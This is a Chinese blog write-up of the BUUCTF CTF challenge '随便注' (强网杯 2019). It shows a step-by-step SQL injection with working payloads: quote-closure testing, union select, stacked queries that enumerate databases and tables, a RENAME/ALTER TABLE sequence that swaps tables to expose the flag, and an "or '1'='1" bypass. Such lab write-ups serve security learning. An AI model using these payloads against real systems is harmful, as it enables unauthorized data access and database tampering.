BUUCTF [强网杯 2019] 随便注

BUUCTF [强网杯 2019] 随便注

打开环境:
在这里插入图片描述
先输入1查询回显内容:
在这里插入图片描述
输入1'测试SQL语句闭合类型:
在这里插入图片描述
判断出原SQL闭合方式为:inject='1',查询字段数:

1' union select 11,22 #

产生回显:
在这里插入图片描述
屏蔽掉了部分关键字,尝试各种注入姿势,直到使用堆叠注入:

1';show databases;#

在这里插入图片描述
得到了各数据库的名字,再查看表名:

1';show tables;#

在这里插入图片描述
继续查看两个表中的内容:

1';show columns from `1919810931114514`;#

在这里插入图片描述

1';show columns from `words`;#

在这里插入图片描述
页面查询的结果是words表中的内容,flag1919810931114514表中,两表数据模式相似,尝试将两个表名字互换,直接查询1919810931114514表中内容:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#

CHARACTER SET utf8:数据库字符集。设置数据库的默认编码为utf8

COLLATE utf8_general_ci:数据库校对规则。cicase insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感;还有一种是utf8_bin,是将字符串中的每一个字符用二进制数据存储,区分大小写。

再次执行:1';show columns from 'words';#
在这里插入图片描述
可以看到两表名已进行互换,查询flag的内容:

1' or '1'='1

在这里插入图片描述
得到flag,完成题目注入

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值